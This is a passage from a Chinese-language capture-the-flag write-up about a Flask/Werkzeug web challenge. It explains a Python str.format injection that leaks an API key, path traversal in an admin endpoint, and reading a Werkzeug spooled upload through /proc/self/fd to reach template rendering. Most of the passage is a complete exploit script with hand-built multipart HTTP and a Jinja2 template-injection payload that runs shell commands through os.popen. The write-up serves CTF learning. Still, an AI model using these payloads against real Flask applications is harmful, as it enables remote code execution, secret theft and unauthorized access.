+ '\r\n--aaaaaaaaaaaaaaaaaaaaa\r\nContent-Disposition: form-data; name="action"; filename="action"\r\nContent-Type: text/json\r\n\r\n{"type": "debug"}\r\n--aaaaaaaaaaaaaaaaaaaaa--\r\n'
).encode(),
"client": "Content-Type",
"token": "multipart/form-data; boundary=aaaaaaaaaaaaaaaaaaaaa",
}

resp = sess.post(
f"{HOST}/heartbeat",
data=payload,
files=files,
headers=headers,
stream=stream,
)
if stream:
return resp.iter_content(chunk_size=8192)

return resp.text

debug分支可以执行text.format(app)并返回。这显然是一个格式化字符串漏洞,可以通过{0.__class__.__init__.__globals__[sys].modules[__main__].API_KEY}得到主函数下的API_KEY变量,然而str.format里无法执行函数,而获得随机路径的flag文件必须要RCE才行。

获得API_KEY后就解放了/admin功能,这个功能里显然有os.path.join路径穿越漏洞,因此实际等效于可以读取任意文件后render_template_string返回。jinja2是可以通过{{ app.__class__.__init__.__globals__['__builtins__']['__import__']('os')['popen']('cat /flag*').read() }}来RCE的,因此实际上变成了要读取一个受我们控制的函数,然而这个题目没有上传入口,怎么办呢?

这里就要说到werkzeug的一个特性:处理文件上传的模块是tempfile.SpooledTemporaryFile,这个文件系统可以实现当文件大小大于阈值时,自动创建一个临时文件存储。Werkzeug的这个临界是500KB。不需要flask的handler实际使用了这个file,只要werkzeug对这个请求进行处理,就自动会创建临时文件,然后在处理完请求后清除。因此思路就是,在一个请求里上传一个大文件,在这个请求结束之前,遍历/proc/self/fd直到找到我们上传的文件。我们只要在这个文件里藏一段模板就行了。

具体实施环节,需要让大文件的请求足够长不断开。我没想清楚requests库内应该如何实现,因此可能就要手搓multipart HTTP报文。有几个关键点:

  • 每个part都有header,注意header和内容之间有空行。
  • 所有空行都是CRLF。可以用多行字符串结合.replace('\n', '\r\n')来实现。
  • 注意每个part的header要加Content-Type: application/octet-stream,这一点非常重要,如果没有这个,即使设置了filename,werkzeug也不会把它当作文件处理,这样就会触发MAX_FORM_MEMORY_SIZE <= 500000的非文件表单大小限制从而报413 RequestEntityTooLarge错误。
  • 需要带Connection: keep-alive,否则请求结束后服务器会关闭连接(最后一步卡这里了)。

在测试时,发现远程的临时文件fd几乎一定是5。实际上,fd=3是/dev/urandom,fd=4是我们自己连接的这个socket。本地测试时,如果读取到urandom是会直接导致系统内存OOM的,WSL2上会出现非常吓人的灾难性故障 Wsl/Service/E_UNEXPECTED,不过远程不会。

以下为代码。主要记录一下multipart写法,这次在multipart犯错耽误了很多时间,最终导致这个题没在比赛结束前完成,还是挺可惜。

import requests
import httpx
import time
import threading
from pwn import remote
from urllib.parse import urlsplit
import gzip

HOST = "http://192.168.3.8:5000"
HOST = "http://223.6.249.127:28370"

sess = requests.Session()


def vuln_format(cmd: str, files=None, stream=False, headers=None) -> str:
payload = {
"text": (
cmd
+ '\r\n--aaaaaaaaaaaaaaaaaaaaa\r\nContent-Disposition: form-data; name="action"; filename="action"\r\nContent-Type: text/json\r\n\r\n{"type": "debug"}\r\n--aaaaaaaaaaaaaaaaaaaaa--\r\n'
).encode(),
"client": "Content-Type",
"token": "multipart/form-data; boundary=aaaaaaaaaaaaaaaaaaaaa",
}

resp = sess.post(
f"{HOST}/heartbeat",
data=payload,
files=files,
headers=headers,
stream=stream,
)
if stream:
return resp.iter_content(chunk_size=8192)

return resp.text


cmd = "{0.__class__.__init__.__globals__[sys].modules[__main__].API_KEY}"
api_key = vuln_format(cmd)
print(f"api_key: {api_key}")

config = vuln_format("{0.config}")
print(f"config: {config}")

parsed_url = urlsplit(HOST)
conn = remote(parsed_url.hostname, parsed_url.port)

cmd = "{{ app.__class__.__init__.__globals__['__builtins__']['__import__']('os')['popen']('cat /flag*').read() }}"
content_length = len(cmd) + 600 * 1024 + 1
max_form_per_part = content_length
form_data = []
# 这里是想分一下段的,但实际上没必要
for i_form in range(0, content_length, max_form_per_part):
part_size = min(max_form_per_part, content_length - i_form)
form_data.append(
f"""--aaaaaaaaaaaaaaaaaaaaaa
Content-Disposition: form-data; name="content"; filename="content"
Content-Type: application/octet-stream

{cmd}{"A" * part_size}
--aaaaaaaaaaaaaaaaaaaaaa--
"""
)

form_data_merged = "\n".join(form_data)

conn.send(
f"""POST {parsed_url.path}/heartbeat?client=Content-Type&token=multipart/form-data%3B%20boundary=aaaaaaaaaaaaaaaaaaaaa&text=%7B0%7D%0D%0A--aaaaaaaaaaaaaaaaaaaaa%0D%0AContent-Disposition:%20form-data;%20name=%22action%22;%20filename=%22action%22%0D%0AContent-Type:%20text/json%0D%0A%0D%0A%7B%22type%22:%20%22debug%22%7D%0D%0A--aaaaaaaaaaaaaaaaaaaaa--%0D%0A HTTP/1.1
Host: {parsed_url.hostname}
Content-Length: {content_length}
Connection: keep-alive
Content-Type: multipart/form-data; boundary=aaaaaaaaaaaaaaaaaaaaaa

{form_data_merged}
""".replace("\n", "\r\n").encode()
)

for fd in range(5, 7):
try:
resp = sess.get(
f"{HOST}/admin",
params={"tmpl": f"/proc/self/fd/{fd}"},
headers={"Authorization": api_key},
timeout=1,
)
print(fd, api_key, resp.status_code, resp.headers, resp.text[:500])
except Exception:
print(fd, "Timeout")
continue

conn.close()